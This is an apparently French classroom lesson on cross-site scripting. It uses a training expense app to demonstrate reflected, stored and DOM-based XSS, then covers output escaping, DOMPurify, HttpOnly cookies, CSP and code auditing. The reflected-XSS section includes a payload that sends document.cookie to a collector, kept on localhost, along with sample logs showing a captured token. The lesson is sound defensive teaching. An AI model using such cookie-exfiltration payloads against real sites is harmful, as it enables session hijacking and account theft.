XSS : injecter du script

Avant de commencer

Pourquoi cette seance

Le XSS (Cross-Site Scripting, famille OWASP A03 Injection) est l'injection cote client. L'idee : faire en sorte qu'une application affiche, sans le neutraliser, du code JavaScript fourni par l'attaquant. Ce code s'execute alors dans le navigateur de la victime, avec ses droits : il peut voler son cookie de session, son token, soumettre des actions en son nom, modifier la page. Sur AppliFrais, le scenario type : un visiteur malveillant met un script dans le libelle d'un frais ; quand le comptable ouvre la fiche pour la valider, le script s'execute chez le comptable, qui a plus de droits. Aujourd'hui tu le fabriques, puis tu fermes la porte.

Mode d'emploi — tu avances en autonomie

Ce que tu vas apprendre

Vocabulaire de depart

0. Comment une donnee devient du code

Une page web est du HTML. Le navigateur lit ce HTML et execute toute balise <script> qu'il rencontre, ainsi que les gestionnaires d'evenements (onerror, onload...). Le XSS exploite ca : si une application insere une donnee utilisateur dans le HTML sans la neutraliser, et que cette donnee contient une balise, le navigateur l'execute comme du vrai code.

Le coeur du probleme : innerHTML interprete le HTML

// VULNERABLE -- insertion brute dans le HTML
element.innerHTML = "Bonjour " + nomUtilisateur;

Le payload le plus simple (pour tester) — page de labo

Cree un fichier page-test.html sur ta machine et ouvre-le dans le navigateur :

<div id="zone"></div>
<script>
  // on simule une donnee venue d'un utilisateur
  const saisie = "<img src=x onerror=alert('XSS')>";
  document.getElementById('zone').innerHTML = "Bonjour " + saisie;
</script>

Sortie attendue a l'ecran :

une fenetre popup du navigateur s'affiche :

  +-------------------------------+
  |  Cette page indique           |
  |                               |
  |       XSS                     |
  |                  [  OK  ]     |
  +-------------------------------+

preuve : TON code (alert) tourne dans la page. La frontiere
donnee --> code a ete franchie, comme pour l'injection SQL,
mais cette fois DANS LE NAVIGATEUR.

1. XSS reflechi (reflected)

Le XSS reflechi : le code injecte part dans une requete (souvent un parametre d'URL) et revient immediatement dans la page de reponse, sans etre stocke. L'attaquant fabrique un lien piege et le fait cliquer a la victime (phishing).

La page vulnerable

// page de recherche VULNERABLE
// URL appelee : /recherche?q=chaussures
resultat.innerHTML = "Resultats pour : " + req.query.q;

Le lien piege (preuve inoffensive : alert)

lien envoye a la victime (preuve, ne vole rien) :
/recherche?q=<img src=x onerror=alert('reflected')>

--> la victime clique --> la page reflete le payload
--> le navigateur execute --> popup "reflected"

La version qui « vole le cookie » — A GARDER 100 % LOCALE

variante demonstrative (collecteur sur TA machine, localhost) :
/recherche?q=<img src=x onerror="new Image().src=
   'http://localhost:9000/collecte?c='+document.cookie">

--> le payload lit document.cookie et l'envoie a un petit
    serveur de DEMO que TU as lance sur localhost:9000
--> tu vois le cookie arriver dans les logs de TON serveur

Construction incrémentale — le collecteur de démonstration local

Pour voir le payload exfiltrer des données vers ton propre serveur, on construit le collecteur en 3 étapes atomiques. Rien ne quitte ta machine.

Étape 1 — Lancer le collecteur Python

python3 -m http.server 9000

Serving HTTP on :: port 9000 (http://[::]:9000/) ...
  → le collecteur est prêt ; garde ce terminal ouvert

Étape 2 — Le payload qui envoie vers ce collecteur

<img src=x onerror="new Image().src=
  'http://localhost:9000/c?v='+encodeURIComponent(document.cookie)">

Étape 3 — Ce que tu lis dans le terminal du collecteur

127.0.0.1 - - [03/Jul/2026 09:14:22] "GET /c?v=token%3DeyJhbGci...
                                                ^^^^^^^^^^^^^^^^^^^^^^^^
                                                le token JWT du comptable s'affiche ici
                                                décodé : token=eyJhbGci...

  → en local, tu visualises l'exfiltration
  → en prod réelle, ce serait le JWT d'un vrai compte comptable

2. XSS stocke (stored) — le plus grave

Le XSS stocke : le code injecte est enregistre (en base) et reaffiche a chaque consultation, a tous les utilisateurs qui voient la donnee. Pas besoin de phishing : la victime n'a qu'a ouvrir une page normale, dans le cadre de son travail.

Le scenario AppliFrais

1. un VISITEUR saisit un frais avec un libelle piege :
   libelle = "Repas <img src=x onerror=alert(document.cookie)>"
2. le frais est enregistre en base (sa propre fiche)
3. le COMPTABLE ouvre la fiche pour la valider
4. l'appli affiche le libelle sans l'echapper
   --> le script s'execute CHEZ LE COMPTABLE, avec SA
       session (role comptable = plus de droits)

Le flux, en image

Le payload voyage du visiteur vers la base, puis s'execute dans le navigateur du comptable.

Reflected vs stored vs DOM-based

3. La defense n°1 : echapper la sortie

La regle d'or du XSS : l'injection se corrige a la SORTIE, pas (seulement) a l'entree. Au moment d'afficher une donnee, on l'echappe : on transforme les caracteres speciaux HTML en entites inoffensives.

Les 4 contextes de sortie — la règle du contexte (détail pro)

Erreur classique : « j'échappe le HTML, je suis protégé ». Faux si la donnée atterrit dans un contexte non-HTML. Les caractères dangereux changent selon l'endroit où la donnée est insérée.

Sortie attendue, une fois la sortie echappee

le comptable ouvre la fiche piegee. A l'ecran, il lit :

  Repas <img src=x onerror=alert(document.cookie)>

le payload s'AFFICHE comme du texte. Aucune popup.
Aucune image. Le script ne s'execute plus.

React echappe par defaut (et le piege dangerouslySetInnerHTML)

// SUR -- React echappe automatiquement les accolades
<span>{fiche.libelle}</span>   // un <script> saisi s'affiche en texte

// DANGEREUX -- contourne la protection de React
<span dangerouslySetInnerHTML={{ __html: fiche.libelle }} />

Et si je DOIS afficher du HTML riche ? DOMPurify

import DOMPurify from 'dompurify';

// on assainit AVANT d'injecter le HTML
<span dangerouslySetInnerHTML={{
  __html: DOMPurify.sanitize(fiche.libelle)
}} />

entree : "<b>Repas</b> <img src=x onerror=alert(1)>"
DOMPurify.sanitize -> "<b>Repas</b> "
  --> le gras est garde, le <img onerror> est supprime

Exemple travaillé — la fiche de frais AppliFrais, de la faille au correctif

On suit le champ libelle depuis la saisie visiteur jusqu'à l'affichage comptable, en montrant le code exact à chaque étape.

Situation initiale — le composant React vulnérable

// components/FicheFrais.jsx — VERSION VULNÉRABLE
function FicheFrais({ fiche }) {
  return (
    <div className="fiche">
      <p>Montant : {fiche.montant} €</p>
      <p dangerouslySetInnerHTML={{ __html: fiche.libelle }} />
    </div>
  );
}

comptable ouvre la fiche → HTML rendu dans son navigateur :
  <p><img src="x" onerror="alert(document.cookie)"></p>
  → image rate → onerror → popup avec le cookie du comptable

Correctif 1 — Texte pur avec React (le plus sûr, 99 % des cas)

// components/FicheFrais.jsx — CORRIGÉ (texte pur)
function FicheFrais({ fiche }) {
  return (
    <div className="fiche">
      <p>Montant : {fiche.montant} €</p>
      <p>{fiche.libelle}</p>
    </div>
  );
}

comptable ouvre la fiche → affiche à l'écran :
  Repas <img src=x onerror=alert(document.cookie)>
  → texte pur, aucune balise créée, aucune exécution

Correctif 2 — HTML riche via DOMPurify (si la mise en forme est vraiment nécessaire)

// components/FicheFrais.jsx — CORRIGÉ (HTML riche + DOMPurify)
import DOMPurify from 'dompurify'; // npm install dompurify

function FicheFrais({ fiche }) {
  const propre = DOMPurify.sanitize(fiche.libelle, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'br'],
    ALLOWED_ATTR: [],   // aucun attribut → aucun onerror, aucun href
  });
  return (
    <div className="fiche">
      <p>Montant : {fiche.montant} €</p>
      <p dangerouslySetInnerHTML={{ __html: propre }} />
    </div>
  );
}

libellé saisi  : "Repas <b>client</b> <img src=x onerror=alert(1)>"
DOMPurify renvoie : "Repas <b>client</b> "
  → <b> conservé (liste blanche), <img> supprimé
  → affichage : "Repas client" en gras, aucun script

// faux correctif (blacklist d'entree)
libelle = libelle.replace(/<script>/gi, '');

4. Defense en profondeur

L'echappement de sortie tue le XSS a la racine. On empile ensuite des couches qui limitent les degats si une faille passe malgre tout.

Couche cookie : HttpOnly (AppliFrais / Express)

// au login, on pose le JWT dans un cookie HttpOnly
res.cookie('token', jwt, {
  httpOnly: true,    // invisible pour document.cookie
  sameSite: 'strict',
  secure: true       // HTTPS uniquement (en prod)
});

console du navigateur, apres XSS, cookie en HttpOnly :
> document.cookie
'' (vide cote token)
  --> le payload "...+document.cookie" ne recupere RIEN

localStorage vs cookie HttpOnly — tableau de décision

C'est un choix d'architecture que tout développeur SLAM doit savoir argumenter. Voici les critères pro :

Couche en-tête : CSP via helmet (Express)

La Content-Security-Policy (CSP) est un en-tête HTTP qui dit au navigateur quels scripts il a le droit d'exécuter. Valeur fondamentale : même si un XSS franchit l'échappement, le navigateur refuse d'exécuter les scripts non autorisés.

Étape 1 — helmet() seul, en-têtes par défaut

const helmet = require('helmet');  // npm install helmet
app.use(helmet());                 // active TOUS les en-têtes de sécurité par défaut

Étape 2 — CSP fine avec nonce (JS inline légitime sans 'unsafe-inline')

const crypto = require('crypto');

// middleware : un nonce unique par requête (128 bits = 16 octets minimum, recommandation W3C)
app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(16).toString('base64');
  // → ex. "7cZm9XkPq3wRfYaB..."  (24 chars en base64)
  next();
});

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc:  ["'self'"],
    scriptSrc:   ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
    styleSrc:    ["'self'", "'unsafe-inline'"],  // peut être nécessaire selon ton bundler
    imgSrc:      ["'self'", "data:", "https:"],
    connectSrc:  ["'self'"],
    reportUri:   ["/csp-violations"],  // le navigateur rapporte les violations ici
  }
}));

// endpoint de collecte des violations CSP (journalisation défensive)
app.post('/csp-violations', express.json({ type: 'application/csp-report' }), (req, res) => {
  console.warn('[CSP VIOLATION]', JSON.stringify(req.body, null, 2));
  res.status(204).end();
});

console du navigateur — payload bloqué par la CSP :

Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self' 'nonce-XyzA...'".
Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce
('nonce-...') is required to enable inline execution.

  → même injecté, le script ne tourne pas.
  → le serveur reçoit un rapport JSON dans /csp-violations.

5. XSS DOM-based

Le XSS DOM-based est le cas ou le payload n'atteint jamais le serveur : tout se joue cote client, dans du JavaScript qui lit une source controlee par l'utilisateur (souvent le fragment d'URL, apres le #) et l'ecrit dans la page.

// VULNERABLE -- DOM-based
// le code lit le fragment d'URL et l'injecte
const cible = location.hash.substring(1);   // tout ce qui suit #
document.getElementById('zone').innerHTML = cible;

URL piegee (le payload est apres le #) :
http://localhost:5173/page#<img src=x onerror=alert('dom')>

--> le JS cote client lit le hash --> innerHTML --> execution
--> le serveur n'a JAMAIS recu le payload

Sources dangereuses et sinks dangereux — panorama DOM XSS

En DOM-based XSS, une source est un endroit où l'attaquant peut injecter des données ; un sink est un endroit du DOM qui exécute le code si on y passe la donnée brute. La vulnérabilité apparaît quand une source est connectée à un sink sans assainissement.

Activité — Auditer le code source d'AppliFrais pour les sinks XSS

Avant de corriger, il faut trouver tous les endroits dangereux dans le code. Voici la méthode d'audit manuelle à appliquer dès maintenant sur le projet AppliFrais.

Étape 1 — Chercher les sinks innerHTML dans le front React

# depuis la racine du projet AppliFrais, dossier front
grep -rn --include="*.jsx" --include="*.js" \
  "innerHTML\|dangerouslySetInnerHTML\|outerHTML\|document\.write" \
  src/

src/components/FicheFrais.jsx:42:    <p dangerouslySetInnerHTML={{ __html: fiche.libelle }} />
src/utils/rendu.js:18:      element.innerHTML = contenu;
  → 2 sinks à inspecter → reviens sur chaque occurrence et vérifie si la donnée
    vient d'un utilisateur ou d'une source interne contrôlée

Étape 2 — Chercher les sources DOM contrôlées par l'utilisateur

grep -rn --include="*.jsx" --include="*.js" \
  "location\.hash\|location\.search\|document\.referrer\|localStorage\.getItem" \
  src/

src/pages/RetourAuth.jsx:11:  const next = new URLSearchParams(location.search).get('next');
  → inspecter : la valeur de "next" est-elle utilisée dans un href ?
    si oui, valider le schéma (rejeter "javascript:" et "data:")

Étape 3 — Automatiser avec ESLint (contrôle à chaque commit)

# installer le plugin
npm install --save-dev eslint-plugin-security

# .eslintrc.js — ajouter à la config existante
module.exports = {
  plugins: ['security'],
  extends: ['plugin:security/recommended'],
};

$ eslint src/utils/rendu.js

  27:3  warning  eval with argument of type Identifier  security/detect-eval-with-expression
  → ESLint te signale le sink avant même que le code parte en prod

Nuance métier — RGPD, ANSSI et impact à l'échelle

Le XSS du point de vue légal et réglementaire

Un XSS stocké sur AppliFrais n'est pas juste un bug technique : c'est potentiellement une violation de données à caractère personnel au sens du RGPD, avec des conséquences légales concrètes.

Impact à l'échelle — ce que le XSS peut faire dans un vrai SI

Sur AppliFrais labo, le XSS déclenche un alert(). Dans un SI réel :

DOMPurify en production — configuration avancée

import DOMPurify from 'dompurify';  // npm install dompurify (~50 ko minzipped)

// Configuration restrictive (HTML riche = texte + mise en forme, zéro JS)
const config = {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'ul', 'ol', 'li', 'p', 'br'],
  ALLOWED_ATTR: [],       // aucun attribut autorisé (pas de href, pas d'id)
};

function afficherLibelle(libelle) {
  return DOMPurify.sanitize(libelle, config);
}

// Usage :
// <span dangerouslySetInnerHTML={{ __html: afficherLibelle(fiche.libelle) }} />

6. Mini-projet : rapport de vulnerabilite

La mission

Redige le rapport (format E7) du XSS stocke trouve sur AppliFrais, en 5 sections :

1. Description : XSS stocke (A03), ou (libelle de frais), type ;
2. Preuve : le payload + le scenario (visiteur pose, comptable ouvre) + capture ;
3. Impact : escalade de privileges, vol de session, actions a l'insu du comptable ;
4. Correction : echappement de sortie (React / DOMPurify) + HttpOnly + CSP ;
5. Verification : le payload s'affiche en texte, ne s'execute plus (capture avant/apres).

Pour finir

L'essentiel

Verifie tes acquis

Glossaire